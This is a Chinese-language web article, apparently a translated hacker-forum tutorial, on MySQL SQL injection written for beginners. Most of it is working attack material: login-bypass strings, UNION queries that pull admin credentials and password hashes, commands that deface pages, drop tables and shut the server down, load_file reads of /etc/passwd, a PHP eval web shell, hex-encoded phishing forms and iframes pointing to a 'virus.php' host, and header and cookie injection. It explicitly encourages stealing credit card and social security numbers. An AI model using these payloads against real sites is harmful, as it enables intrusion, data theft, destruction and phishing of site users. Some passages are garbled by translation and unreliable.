您好,登錄后才能下訂單哦!
本篇內容主要講解“MySQL注入的詳細講解”,感興趣的朋友不妨來看看。本文介紹的方法操作簡單快捷,實用性強。下面就讓小編來帶大家學習“MySQL注入的詳細講解”吧!
介紹
什么是數據庫?
什么是SQL注入?
繞過登錄
訪問秘密數據
檢查漏洞
找到列數
解決脆弱的部分
尋找MySQL版本
MySQL 5或以上版本的注入
MySQL 4注入
修改網站內容
關閉MySQL服務器
Loadfile
MySQL Root
主要的MySQL命令
完成注射教程
更新
繞過登錄高級
RF注入SQL注入
URL欺騙網絡釣魚
頭
Cookie
大家好,對于那些不了解我的人我是他們的噩夢=)..在本教程中,我將以新手視角展示MySQL中臭名昭著的注入,以便所有新手都能成為成功的SQL注入器。 目的,一定要檢查PHP和MySQL中的各種函數和各種各樣的網站,它們會對你有很大的幫助...也不要苛刻我是否有任何語法錯誤的教程因為英語不是我的母語(我是 來自土星環)。 現在讓我們開始SQL注入的演練。
這只是只是一般的信息..數據庫是存儲數據集合的應用程序。 數據庫提供各種API,用于創建,訪問和管理它所擁有的數據。 并且數據庫(DB)服務器可以與我們的Web開發集成,以便我們可以從數據庫中獲取我們想要的東西而沒有太多困難。 DB可能包含各種關鍵信息,如用戶名,密碼,信用等。 因此,需要保護數據庫,但運行的許多數據庫服務器由于其漏洞或編程處理不當而不安全。 僅舉幾例DB服務器,MySQL(開源),MSSQL,MS-ACCESS,Oracle,Postgre SQL(開源),SQLite等。
SQL注入可能是目前互聯網上存在的最豐富的編程缺陷。 這是未經授權的人可以訪問各種關鍵和私人數據的漏洞。 SQL注入不是Web或數據庫服務器中的缺陷,而是由于編程實踐較差且缺乏經驗而導致的。 它是從遠程位置執行的最致命和最容易的攻擊之一。
在SQL注入中,我們使用各種命令與DB服務器交互,并從中獲取各種數據。 在本教程中,我將討論SQL注入的3個方面,即繞過登錄,訪問機密數據和修改頁面內容。 因此,讓我們在真正的演練中前進......
假設一個站點有一個登錄表單,只允許注冊用戶進入該站點。 現在,假設你想繞過登錄并以合法用戶身份進入網站。 如果程序員沒有正確清理登錄腳本,您可能很幸運能夠進入該站點。 通過與DB服務器交互,你可能無需知道真實用戶名和真實密碼即可登錄該站點。 那么,這不就是SQL注入的美感嗎?
讓我們看一個例子,其中用戶名admin和密碼sam207可以登錄到該站點。 假設,對此的SQL查詢執行如下:
HTML代碼:
SELECT USER from database WHERE username ='admin'AND password ='xenu'
如果上面的SELECT命令評估為true,則將授予用戶訪問該站點的權限。 想想如果沒有清理腳本我們可以做些什么。 這為黑客獲取非法訪問網站打開了一扇大門。
在此示例中,攻擊者可以在登錄表單中輸入以下用戶數據:
username:a or 1=1--password:blank
所以,這會使我們的查詢為:
<?phpSELECT USER from database WHERE username='a' or 1=1-- AND password=''
請注意 - 是注釋運算符,其后的任何內容都將被忽略為注釋。 存在另一個注釋運算符,它是/ *。
所以我們的上述查詢變為:
<?phpSELECT USER from database WHERE username='a' or 1=1
現在,即使沒有名為“a”的用戶,此查詢也會計算為true,因為1 = 1始終為true,并且當其中一個查詢為true時,使用OR會使查詢返回true。 這樣就可以訪問站點管理面板。
可以有各種其他用戶名和密碼組合來與易受攻擊的網站一起玩。 您可以為站點登錄創建自己的新組合。
很少有這樣的組合:
username:' or 1='1 password:' or 1='1username:' or '1'='1' password:' or '1'='1'username:or 1=1 password:or 1=1
這是基本沒關系讓我們現在假設不同的查詢和不同的注入。
<?phpselect username,pass from users where username=('$username') and password=('$passwrd') limit 0,1;
這樣的組合是:
') or true-- ') or ('')=(' ') or 1--') or ('x')=('
PHP代碼:
<?phpselect username,pass from users where username="$username" and password="$passwrd" limit 0,1;
這樣的組合是:
" or true-- " or ""=" " or 1--" or "x"="
PHP代碼:
<?phpselect username,pass from users where username=("$username") and password=("$passwrd") limit 0,1;
這樣的組合是:
") or true-- ") or ("")=(" ") or 1--") or ("x")=("
PHP代碼:
<?phpselect username,pass from users where username=(('$username')) and password=(('$passwrd')) limit 0,1;
這樣的組合是:
')) or true-- ')) or ((''))=((' ')) or 1--')) or (('x'))=(('
另一種有效載重:
'-'' ''&''^''*'' or ''-'' or '' '' or ''&'' or ''^'' or ''*'"-"" ""&""^""*"" or ""-"" or "" "" or ""&"" or ""^"" or ""*"or true--" or true-- ' or true-- ") or true--') or true-- ' or 'x'='x ') or ('x')=('x ')) or (('x'))=(('x " or "x"="x ") or ("x")=("x ")) or (("x"))=(("x
這就是繞過登錄。
SQL注入本質上不是為了繞過登錄,而是用于訪問數據庫服務器中的敏感和秘密數據。 這部分很長,所以我將在小節中討論。
假設你有一個網站:
<?phpsite.com/article.php?id=5
現在要檢查它是否容易受到攻擊,你只需添加'到底,即分配了id變量。
所以,它是:
<?phpsite.com/article.php?id=5'
現在,如果站點不易受攻擊,則會過濾并正常加載頁面。但是,如果它不過濾查詢字符串,它將給出如下錯誤:“第5行的Article.php中的'5''MySQL語法錯誤。”或者是錯誤,說我們檢查正確的MySQL版本或MySQL Fetch錯誤或有時只是空白頁面。 錯誤可能是任何形式。 因此,它確保該網站易受攻擊。
只是使用'可能不是肯定的測試; 所以你可以嘗試不同的東西,比如:
<?php site.com/article.php?id=5+union+select+1--
如果你得到這個錯誤,你再次知道它的弱點...只是嘗試不同的東西..
所以,現在是時候找到列數了。 為此,我們將使用'order by'直到我們收到錯誤。
也就是說,我們將URL查詢設為:
<?php site.com/article.php?id=5+order+by+1/*
這沒有給出錯誤。
現在,我確實把它增加到2:
<?php site.com/article.php?id=5+order+by+2/*
仍然沒有錯誤
所以,我們需要增加,直到我們得到錯誤。
在我的例子中,當我輸入值3時出現錯誤,即:
<?php site.com/article.php?id=5+order+by+3/*
這反饋給了我錯誤。
因此,這意味著當前表中有2列(3 - 1 = 2)。 這就是我們找到列數的方式。
現在,我們需要使用union語句并找到我們可以替換的列,以便在頁面上查看秘密數據。
首先讓我們設計一個不會出錯的union語句。這就像這樣:
<?php site.com/article.php?id=5+UNION+ALL+SELECT+null/*
這會出錯,因為我們的查詢需要在那里再有一個null。而且null不會導致任何類型轉換錯誤,因為它只是null。
因此,對于我們的注射,它變成:
<?php site.com/article.php?id=5+UNION+ALL+SELECT+null,null/*
為此我們做:
<?php site.com/article.php?id=5+UNION+ALL+SELECT+1,2/*
現在我們將看到頁面上的數字。 我的意思是,頁面上可以看到1或2或1和2。 請注意,數字可以顯示在頁面標題中的任何位置,有時甚至可以顯示在源代碼中的隱藏標記中。因此,這意味著我們可以使用命令替換數字以顯示數據庫保存的私有數據。
在我的例子中,頁面上顯示1。 這意味著,我應該用我的東西替換1繼續進行。 得到它了? 所以讓我們前進吧。
快速注意:有時可能無法顯示數字,因此您很難找到可用于竊取數據的列。因此,在這種情況下,您可以嘗試以下內容:
<?php site.com/article.php?id=5+UNION+ALL+SELECT+xenu,null/*
或者
<?php site.com/article.php?id=5+UNION+ALL+SELECT+null,xenu/*
如果xenu顯示在頁面的某個位置,你可以進一步注射替換文本部分......在這里,我保留文本而不是整數來檢查是否顯示文本...另外,一定要檢查源,因為有時他們 可能在一些隱藏的標簽中..
對于我們的注入,有必要找到MySQL版本,因為如果它是5,我們的工作變得容易多了。 要檢查版本,有一個函數@@ version或version()。
那么,我們所做的是用@@版替換1(這是可替換的部分),即我們如下所示:
<?php site.com/article.php?id=5+UNION+ALL+SELECT+@@version,2/*
或者
<?php site.com/article.php?id=5+UNION+ALL+SELECT+version(),2/*
因此,這將返回在服務器上運行的MySQL版本。
但是,有時你可能會遇到上述查詢錯誤。 如果是這種情況,請使用unhex(hex())函數,如下所示:
<?php site.com/article.php?id=UNION+ALL+SELECT+unhex(hex(@@version)),2/*
請記住,如果你必須在這里使用unhex(hex())函數,你也必須在以后的注入過程中使用這個函數。
@@版本會給你這個版本。 它可以是4(或更低)或5和更高。 我現在將分別討論版本5和4的注射過程,正如我之前所說,版本5使我們可以輕松執行注射。
注意:此外,您可以通過以下方式檢查用戶,數據庫等。
<?php site.com/article.php?id=5+UNION+ALL+SELECT+user(),2/* site.com/article.php?id=5+UNION+ALL+SELECT+database(),2/*
在這里,我將向您展示如何訪問運行MySQL 5或更高版本的服務器中的數據。
你使用url參數中的@@版本得到MySQL版本5.0.27標準。 版本5中的MySQL有一個名為information_schema的有用函數。 這是保存有關DB服務器中存在的表和列的信息的表。 也就是說,它包含站點的所有表和列的名稱。
要獲取表格列表,我們使用:
table_name from information_schema.tables
要獲取列列表,我們使用:
column_name from information_schema.columns
因此,我們在示例中獲取表列表的查詢將是:
<?php site.com/article.php?id=5+UNION+ALL+SELECT+table_name,2+FROM+information_schema.tables/*
是的,如果您在查找版本時必須使用unhex(hex()),則必須執行以下操作:
<?php site.com/article.php?id=5+UNION+ALL+SELECT+unhex(hex(table_name)),2+FROM+information_schema.tables/*
這將列出DB中存在的所有表。 出于我們的目的,我們將搜索包含用戶和密碼信息的表。 所以我們用這些信息查看可能的表格。 你甚至可以寫下表名以供進一步參考和使用。 對于我的示例,我將使用tbluser作為包含用戶和密碼的表。
同樣,要獲取列列表,我們將查詢為:
<?php site.com/article.php?id=5+UNION+ALL+SELECT+column_name,2+FROM information_schema.columns/*
這將返回數據庫服務器中存在的所有列。 現在從這個列表中,我們將查找用戶名和密碼的可能列。 對于我的注射,有兩列保存這些信息。 它們分別是用戶名和密碼。 這就是我想要的專欄。 你必須搜索并檢查列,直到你沒有錯誤。
或者,要查找特定表中的列,您可以執行以下操作:
<?php site.com/article.php?id=5+UNION+ALL+SELECT+column_name,2+FROM+information_schema.columns+WHERE+table_name='tbluser'
這將顯示表tbluser中的列。 但這可能無法始終基于PHP.INI,所以六角形。
讓我告訴你我是如何知道上面兩列屬于表tbluser的。 現在讓我展示如何顯示存儲在DB中的用戶名和密碼。
有一個名為concat()的函數允許我連接兩列并在頁面上顯示。 我也將以十六進制形式使用分號。 它的十六進制值是0x3a(在開始時為零而不是字母o。)
我做的是:
<?php site.com/article.php?id=5+UNION+ALL+SELECT+concat(username,0x3a,password),2+FROM+tbluser/*
這給了我如下的用戶名和密碼:
admin:9F14974D57DE204E37C11AEAC3EE4940
這里密碼是哈希的,在這種情況下,它是MD5。 現在你需要得到像hashcat,passwordpro(等)一樣的哈希破解程序并破解哈希。 哈希值可能與SHA1,MD5等不同。或者有時可能會在頁面上顯示明文密碼。 在這種情況下,當我破解時,我得到密碼為sam207。
現在你進入管理員登錄頁面并以管理員身份登錄。 然后你可以做任何你想做的事。 這就是MySQL版本5的全部內容。
現在說你的受害者有MySQL版本4.那么你將無法獲得MySQL版本5中的表名和列名,因為它缺乏對information_schema.tables和information_schema.columns的支持。
所以現在你必須猜測表名和列名,直到你沒有得到錯誤。 此外,如果MySQL版本低于5,您可能必須依賴顯示的運氣和錯誤消息。有時錯誤將為您提供表名稱和列名稱,并讓您有一些想法猜測正確的表和列名稱 ..說,錯誤報告錯誤中的xenu_article ..所以,你知道xenu_是表名中使用的前綴...
無論如何,讓我們去MySQL版本4注入...
例如,你會這樣做:
<?php site.com/article.php?id=5+UNION+ALL+SELECT+1,2+FROM+user/*
在這里,我猜測表名為user。 但是這給了我錯誤,因為DB上沒有名稱user的表。 現在我繼續猜測表名,直到我沒有得到錯誤。
當我將表名作為tbluser時,頁面正常加載。 所以我開始知道表tbluser存在。
<?php site.com/article.php?id=5+UNION+ALL+SELECT+1,2+FROM+tbluser/*
頁面正常加載。 現在再次你必須猜測tbluser表中存在的列名。
我做了類似下面的事情:
<?php site.com/article.php?id=5+UNION+ALL+SELECT+user_name,2+FRO+tbluser/*
//這給了我錯誤,所以沒有這個名字的專欄。
<?php site.com/article.php?id=5+UNION+ALL+SELECT+username,2+FROM+tbluser/*
//它正常加載頁面以及表中的用戶名。
<?php site.com/article.php?id=5+UNION+ALL+SELECT+pass,2+FROM tbluser/*
//它的錯誤再次表明tbluser中不存在列傳遞。
<?php site.com/article.php?id=5+UNION+ALL+SELECT+password,2+FROM+tbluser/*
//通常使用密碼哈希(或明文密碼)加載的頁面。
現在你可以這樣做:
<?php site.com/article.php?id=5+UNION+ALL+SELECT+concat(username,0x3a,password),2+FROM+tbluser/*
這反饋給我:
admin:9F14974D57DE204E37C11AEAC3EE4940
現在我只需要登錄該網站并做任何我想做的事情。
您可能嘗試的幾個表名稱是:user(s),table_user(s),tbluser(s),tbladmin(s),admin(s),members(等)等。
如前所述,請務必查看錯誤,因為有時他們會為我們提供表名和列名錯誤...
如果數據庫成立,你可以嘗試這些方法以獲得各種數據,例如信用卡號,社會保險號等等。 您需要做的就是找出列并將它們顯示在易受攻擊的頁面上。 這就是用于訪問秘密數據的注入。
有時候,你會發現易受攻擊的網站,并且需要知道,但是管理員登錄可能不存在,或者某些IP范圍是可訪問的。 即使在該上下文中,您也可以使用一些kewl SQL命令來修改站點內容。 我沒有看到很多文章解決這個問題,所以我想把它包含在這里。
在這里,我將基本上討論一些可能用于更改網站內容的SQL命令。 Therse命令是MySQL的主力并且在執行時是致命的。 但堆疊查詢不適用于MySQL。
首先讓我列出這些命令:
UPDATE:它用于編輯數據庫中已有的信息而不刪除任何行。
DELETE:用于刪除一個或多個字段的內容。
DROP:用于完全刪除表及其所有相關數據。
現在,如果網站允許我們與db進行交互而沒有清理和適當的權限,你可能已經發現這些命令非常具有破壞性。
命令用法:
UPDATE:我們易受攻擊的頁面是:
<?phpsite.com/article.php?id=5
讓我們說查詢是:
<?phpSELECT title,data,author FROM article WHERE id=5
雖然實際上我們不知道上面的查詢,但我們可以找到前面討論過的表和列名。
所以我們會這樣做:
<?php site.com/article.php?id=5+UPDATE+article+SET+title='Hacked By Xenu for R00TW0RM C0MMUNITY'/*
或者,你可以做:
<?php site.com/article.php?id=5+UPDATE+article+SET+title='Hacked By r00tw0rm',data='Ur site has zero security',author='Xenu'/*
通過執行第一個查詢,我們在表格文章中將標題值設置為“Hacked By r00tw0rm”,而在第二個查詢中,我們更新了表格文章中的所有三個字段title,data和author。
有時,您可能想要更改id = 5的特定頁面。 為此,你會這樣做:
<?php site.com/article.php?id=5+UPDATE+article+SET+title='value 1',data='value 2',author='value 3'+WHERE+id=5/*
DELETE:如前所述,這將從數據庫服務器中永久刪除一個或多個字段的內容。
語法是:
<?php site.com/article.php?id=5+DELETE+title,data,author+FROM+article/*
或者,如果要從id = 5中刪除這些字段,您將執行以下操作:
<?php site.com/article.php?id=5+DELETE+title,data,author+FROM+article+WHERE+id=5/*
DROP:這是你可以使用的另一個致命的命令。 有了這個,你可以刪除一個表及其所有相關數據。
為此,我們將URL設為:
<?php site.com/article.php?id=5+DROP+TABLE+article/*
這將刪除表格文章及其所有內容。
最后,我想談談';'。
雖然我沒有在我的教程中使用它,但你可以使用它來結束你的第一個查詢并啟動另一個查詢。
這個 ; 可以保留在我們的第一個查詢的末尾,以便我們可以在它之后開始新的查詢。
這就像執行服務器一樣,因為它會使合法用戶或網站訪問者無法使用MySQL資源......為此,您將使用:
SHUTDOWN WITH NOWAIT;
那么,你會制作一個執行上述命令的查詢......
例如,在我的情況下,我會做以下事情:
<?phpsite.com/article.php?id=5+SHUTDOWN+WITH+NOWAIT;
哇,太瘋狂了! MySQL服務器關閉...這將阻止合法用戶和網站訪問者使用或查看MySQL資源
MySQL有一個名為load_file的函數,您可以再次使用它來獲益。我還沒有看到很多網站可以使用這個函數...我認為我們應該擁有MySQL root權限....此外,魔術引號 應該關閉這個...但有一種方法可以超越魔術引號... load_file可用于加載服務器的某些文件,如.htaccess,.htpasswd等..還有/ etc等密碼文件 / passwd等。
做類似下面的事情:
<?php site.com/article.php?id=5+UNION+ALL+SELECT+load_file('etc/passwd'),2/*
但有時候,你必須對部件進行hex并執行以下操作:
<?php site.com/article.php?id=5+UNION+ALL+SELECT+load_file(0x272F6574632F70617373776427)
我已經hex了......現在,如果我們幸運的話,腳本將在結果中回顯/ etc / passwd。
進一步閱讀:https://greysec.net/showthread.php?tid=211
如果MySQL版本為5或更高版本,我們可能會獲得MySQL root權限,這對我們來說也會有所幫助。來自版本5的MySQL服務器有一個名為mysql.user的表,其中包含用于登錄的哈希和用戶名... 它位于MySQL數據庫的用戶表中,隨MySQL的每次安裝一起提供。
為此,您將:
<?php site.com/article.php?id=5+UNION+ALL+SELECT+concat(username,x3a,password),2+from+mysql.user/*
現在你將獲得用戶名和哈希..哈希是mysqlsha1 ...快速注意:JTR不會破解它..但是insidepro.com有一個要做它..
下面,我將列出一些可能對您有所幫助的主要MySQL命令...通過在您的計算機中設置MySQL服務器以不同的方式與它們一起玩。
這里的所有命令都是從h5cky0u的帖子中復制粘貼的,這部分的功勞歸于原作者..這是我自己寫的唯一部分..我可以擁有但是因為有更好的一部分,我 我想把相同的部分放在這里..感謝在h5cky0u網站上發布此內容的人...以及此部分的全部學分給他/她。
注釋:
ABORT - 中止當前轉換
ALTER DATABASE - 更改數據庫
ALTER GROUP - 將用戶添加到組或從組中刪除用戶
ALTER TABLE - 更改表的定義
ALTER TRIGGER - 更改觸發器的定義
ALTER USER - 更改數據庫用戶帳戶
ANALYZE - 收集有關數據庫的統計信息
BEGIN - 啟動交易凍結
CHECKPOINT - 強制事務日志檢查點
CLOSE - 關閉光標
CLUSTER - 根據索引對表進行聚類
COMMENT - 定義或更改對象的注釋
COMMIT - 提交當前事務
COPY - 在文件和表之間復制數據
CREATE AGGREGATE - 定義一個新的聚合函數
CREATE CAST - 定義用戶定義的強制轉換
CREATE CONSTRAINT TRIGGER - 定義一個新的約束觸發器
CREATE CONVERSION - 定義用戶定義的轉換
CREATE DATABASE - 創建一個新數據庫
CREATE DOMAIN - 定義一個新域
CREATE FUNCTION - 定義一個新功能
CREATE GROUP - 定義新用戶組
CREATE INDEX - 定義一個新索引
CREATE LANGUAGE - 定義一種新的過程語言
CREATE OPERATOR - 定義一個新的運算符
CREATE OPERATOR CLASS - 為索引定義一個新的運算符類
CREATE RULE - 定義新的重寫規則
CREATE SCHEMA - 定義新架構
CREATE SEQUENCE - 定義一個新的序列生成器
CREATE TABLE - 定義一個新表
CREATE TABLE AS - 根據查詢結果創建新表
CREATE TRIGGER - 定義一個新的觸發器
CREATE TYPE - 定義新的數據類型
CREATE USER - 定義新的數據庫用戶帳戶
CERATE VIEW - 定義新視圖
DEALLOCATE - 刪除準備好的查詢
DECLARE - 定義游標
DELETE - 刪除表的行
DROP AGGREGATE - 刪除用戶定義的聚合函數
DROP CAST - 刪除用戶定義的強制轉換
DROP CONVERSION - 刪除用戶定義的轉換
DROP DATABASE - 刪除數據庫
DROP DOMAIN - 刪除用戶定義的域
DROP FUNCTION - 刪除用戶定義的函數
DROP GROUP - 刪除用戶組
DROP INDEX - 刪除索引
DROP LANGUAGE - 刪除用戶定義的過程語言
DROP OPERATOR - 刪除用戶定義的運算符
DROP OPERATOR CLASS - 刪除用戶定義的運算符類
DROP RULE - 刪除重寫規則
DROP SCHEMA - 刪除架構
DROP SEQUENCE - 刪除序列
DROP TABLE - 刪除表
DROP TRIGGER - 刪除觸發器
DROP TYPE - 刪除用戶定義的數據類型
DROP USER - 刪除數據庫用戶帳戶
DROP VIEW - 刪除視圖
END - 提交當前事務
EXECUTE - 執行準備好的查詢
EXPLAIN - 顯示語句的執行計劃
FETCH - 使用游標從表中檢索行
GRANT - 定義訪問權限
INSERT - 在表中創建新行
LISTEN - 收聽通知
LOAD - 加載或重新加載共享庫文件
LOCK - 顯式鎖定表
MOVE - 將光標放在表格的指定行上
NOTIFY - 生成通知
PREPARE - 創建準備好的查詢
REINDEX - 重建損壞的索引
RESET - 將運行時參數的值恢復為默認值
REVOKE - 刪除訪問權限
ROLLBACK - 中止當前事務
SELECT - 從表或視圖中檢索行
SELECT INTO - 根據查詢結果創建一個新表
SET - 更改運行時參數
SET CONSTRAINTS - 設置當前事務的約束模式
SET SESSION AUTHORIZATION - 設置會話用戶標識符和當前會話的當前用戶標識符
SET TRANSACTION - 設置當前事務的特征
SHOW - 顯示運行時參數的值
START TRANSACTION - 啟動交易凍結
TRUNCATE - 清空一張桌子
UNLISTEN - 停止收聽通知
UPDATE - 更新表的行
VACUUM - 垃圾收集并可選地分析數據庫
我知道我錯過了一些東西,比如outfile,WHERE子句,盲注等...如果我有時間,我會嘗試用這些來更新教程..對于所有sql注入器,請大膽思考..& hexing是sql注入中的一個重要部分。有時用普通方法無法完成的事情可以通過使用hex部分完成..并且一定要嘗試使用char(),hex()函數。 這些,您可以繞過服務器上的魔術引號。再次,在UNION語句中,您可能會嘗試使用有時對您有幫助的XSS。
<?php site.com/article.php?id=5+UNION+ALL+SELECT+<script> alert("XSS via SQL injection"); </script>,2/*
再次在上面的注入中,您可能需要對javascript部分進行六進制以繞過魔術引號。
對于初學者和那些了解小事的人,您可以在本地主機中為您的apache服務器設置MySQL服務器并配置PHP,您可以嘗試不同的東西。
在MySQL的命令行界面中,嘗試下面列出的各種命令。嘗試修改它們...這將有助于您提高MySQL命令知識。還試著看看PHP代碼如何與MySQL服務器交互..例如,安裝一些免費的論壇,如PHPBB,SMF等..或者一些內容管理系統,因為它可以通過兩種方式幫助你。首先,你將學習PHP如何與MySQL交互..你可以檢查MySQL文件夾中發生了什么變化后安裝它們..如果我這樣做會怎么樣?或者那個?? etc..etc ..其次,你可能能夠找到它們中的bug ..比如rfi代碼的某些部分或sql注入另一部分或者csrf注入等等。這會幫助你學習新東西,因為你們都知道練習能讓人變得完美......
我借此機會更新此complet文件undefined
我希望你喜歡閱讀“Bypassing Logins”一章。 因此,現在是時候了解如何將某個易受攻擊的登錄表單的數據庫轉出。
<?phpselect username,pass from users where username="$uname" and password="$passwrd" limit 0,1select username,pass from users where username='$uname' and password='$passwrd' limit 0,1
代碼:
username : ' or (select 1 from (select count(*),Concat((select database()),0x3a,floor(rand(0)*2))y from information_schema.tables group by y)x) and ''=' username : " or (select 1 from (select count(*),Concat((select database()),0x3a,floor(rand(0)*2))y from information_schema.tables group by y)x) and ""=" username : ' or (select 1 from (select count(*),Concat((select database()),0x3a,floor(rand(0)*2))y from information_schema.tables group by y)x) --+username : " or (select 1 from (select count(*),Concat((select database()),0x3a,floor(rand(0)*2))y from information_schema.tables group by y)x) --+ username : ' or (select 1 from (select count(*),Concat((select database()),0x3a,floor(rand(0)*2))y from information_schema.tables group by y)x) # username : " or (select 1 from (select count(*),Concat((select database()),0x3a,floor(rand(0)*2))y from information_schema.tables group by y)x) # username : ' or (select 1 from (select count(*),Concat((select database()),0x3a,floor(rand(0)*2))y from information_schema.tables group by y)x) -- username : " (select 1 from (select count(*),Concat((select database()),0x3a,floor(rand(0)*2))y from information_schema.tables group by y)x) --
您可以再次將密碼字段留空。 現在讓我們看看查詢將傳遞什么。
<?phpselect username,pass from users where username='' or (select 1 from (select count(*),Concat((select database()),0x3a,floor(rand(0)*2))y from information_schema.tables group by y)x) and ''='' and password='' limit 0,1
如果您已閱讀本文并了解RFI漏洞,則無需解釋。 這很容易!
<?php site.com/?param=1+union+select+'<?eval($_request[cmd]);?>'&cmd=passthru('ls');
這次標題說明了我們將使用SQL注入漏洞利用URL欺騙進行網絡釣魚。 有三種方法
注入HTML
注入iFrame
修改當前表格
我們將把有效負載注入SQL注入,并像在XSS中一樣在網頁上添加一些額外的代碼。
首先,注入HTML。 為簡單起見,我們將有效負載編碼為十六進制。 對于有效載荷:
<?php <form action=http://site.com/w0rm.php method="POST">Username : <input type="text" name="username"><br> Password :<input type="text" name="password"> <input type="submit"> </form> <iframe height=0 width=0>
編碼為十六進制:
3c666f726d20616374696f6e3d687474703a2f2f736974652e636f6d2f7730726d2e706870206d65 74686f643d22504f5354223e0d0a557365726e616d65203a203c696e70757420747970653d227465 787422206e616d653d22757365726e616d65223e3c62723e0d0a50617373776f7264203a3c696e70 757420747970653d227465787422206e616d653d2270617373776f7264223e0d0a3c696e70757420 747970653d227375626d6974223e0d0a3c2f666f726d3e0d0a3c696672616d65206865696768743d 302077696474683d303e
在注入的SQL中注入Hex(有效載荷)。
注射iframe
例如:
<?php<br><iframe src="http://site.com/virus.php" height=300 width=300 frameBorder="0" scrolling="no"></iframe>
代碼:
3c62723e3c696672616d65207372633d22687474703a2f2f736974652e636f6d2f76697275732e70 687022206865696768743d3330302077696474683d333030206672616d65426f726465723d223022 207363726f6c6c696e673d226e6f223e3c2f696672616d653e,4,5--
PHP代碼:
<?php site.com/link.php?id=-1'+union+select+1,2,0x3c62723e3c696672616d65207372633d22687474703a2f2f736974652e6 36f6d2f76697275732e70687022206865696768743d3330302077696474683d333030206672616d6 5426f726465723d223022207363726f6c6c696e673d226e6f223e3c2f696672616d653e,4,5--
更改當前表格
在這次攻擊中,我們將在網站中注入javascript,將網站中當前登錄頁面的操作更改為我們的虛假登錄頁面鏈接。
<?php <script>document.getElementsByTagName("form")[0].action="http://www.site.com/virus.php"</script>
代碼:
3c7363726970743e646f63756d656e742e676574456c656d656e747342795461674e616d65282266 6f726d22295b305d2e616374696f6e3d22687474703a2f2f7777772e736974652e636f6d2f766972 75732e706870223c2f7363726970743e
PHP代碼:
<?php site.com/link.php?id=-1' union select 1,2,0x3c7363726970743e646f63756d656e742e676574456c656d656e747342795461674e6 16d652822666f726d22295b305d2e616374696f6e3d22687474703a2f2f7777772e736974652e636 f6d2f76697275732e706870223c2f7363726970743e,4,5--
HTTP查詢字符串參數(GET):URL中發送的輸入參數。
HTTP正文參數(POST):HTTP主體中發送的輸入參數。
HTTP Cookie參數:HTTP cookie中發送的輸入參數。
HTTP標頭:應用程序使用的HTTP請求標頭。
HTTP頭字段是超文本傳輸協議(HTTP)中的請求和響應的消息頭的組件。它們定義HTTP事務的操作參數。
Example: Request HTTP
Code:
GET / HTTP/1.1
Connection: Keep-Alive
Keep-Alive: 300
Accept:/
Host: host
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US;
rv:1.9.2.16) Gecko/20110319 Firefox/3.6.16 ( .NET CLR 3.5.30729; .NET4.0E)
Cookie: guest_id=v1%3A1328019064; pid=v1%3A1328839311134
當存儲在數據庫中用于會話識別時,我們可以將HTTP Cookie視為應該測試的第一個潛在HTTP變量。我們將在基于Cookie的SQL注入示例中看到下一個。還有與應用程序相關的其他HTTP標頭。
X-Forwarded-For是一個HTTP頭字段,被認為是事實上的標準,用于識別通過HTTP代理或負載均衡器連接到Web服務器的客戶端的原始IP地址。
我們將在表單提交的基礎上看到這個漏洞的一個例子。
<?php $req = mysql_query("SELECT user,password FROM admins WHERE user='".sanitize($_POST['user'])."' AND password='".md5($_POST['password'])."' AND ip_adr='".ip_adr()."'");
由于sanitize()方法,可以正確控制變量login。
<?php1function sanitize($param){ if (is_numeric($param)) { return $param; } else { return mysql_real_escape_string($param); } }
讓我們檢查一下ip變量。 它正在分配ip_addr()方法的輸出。
<?phpfunction ip_adr() { if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { $ip_adr = $_SERVER['HTTP_X_FORWARDED_FOR']; } else { $ip_adr = $_SERVER["REMOTE_ADDR"]; } if (preg_match("#^[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}#",$ip_addr)) { return $ip_adr; } else { return $_SERVER["REMOTE_ADDR"]; } }
顯然,從HTTP頭X_FORWARDED_FOR中檢索IP地址。 稍后由preg_match控制,它驗證此參數是否確實包含至少一個IP地址。 事實上,在SQL查詢中使用其值之前,環境變量HTTP_X_FORWARDED_FOR未正確清理。 這可以通過將任意SQL代碼注入此字段來運行任何SQL查詢。
將此標頭字段簡單修改為:
GET /index.php HTTP/1.1Host: [host] X_FORWARDED_FOR :127.0.0.1' or 1=1#[/php] will lead to bypass the authentication control. User agent is an HTTP header field gives the software program used by the original client. This is for statistical purposes and the tracing of protocol violations. It should be included. The first white space delimited word must be the software product name, with an optional slash and version designator.Not all applications are written to capture the user-agent data, but sometimes applications are designed to store such information (ex: shopping cart providers) to make use of it. In this case, it’s worth investigating the user-agent header for possible issues. HTTP query example: [code]GET /index.php HTTP/1.1Host: [host] User-Agent: aaa' or 1/*
Referer是另一個HTTP標頭,一旦應用程序將其存儲在數據庫中而不對其進行清理,它可能容易受到sql注入攻擊。 它是一個可選的頭字段,允許客戶端為服務器的好處指定從中獲取請求中的URI的文檔(或文檔中的元素)的地址(URI)。 這允許服務器生成文檔的反向鏈接列表,用于興趣,記錄等。它允許跟蹤故障鏈接以進行維護。
GET /index.php HTTP/1.1Host: [host]User-Agent: aaa' or 1/*Referer: http://www.yaboukir.com
Cookie Manager +(Firefox Addon)允許查看,編輯和創建新的Cookie。它還允許顯示有關cookie的額外信息,并允許一次編輯多個cookie,以及備份/恢復它們。
安裝后,從“工具”菜單中選擇“Cookies管理器+”。我們選擇與目標應用程序相關的Cookie變量。
我們將編輯language_id變量。為了弄清楚SQL注入缺陷,我們將在字段中添加引號“'”
變量language_id的內容。
刷新頁面或單擊應用程序的其他內部鏈接后,應用程序將使用編輯的HTTP cookie提交請求。結果是觸發了SQL錯誤:
此數據庫錯誤警告我們易受SQL注入漏洞。
使用Cookies Manager +的優點是它易于使用,直接對cookie執行操作并保存以前編輯的cookie值。
我們將嘗試使用另一個Firefox插件確定列數。
到此,相信大家對“MySQL注入的詳細講解”有了更深的了解,不妨來實際操作一番吧!這里是億速云網站,更多相關內容可以進入相關頻道進行查詢,關注我們,繼續學習!
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。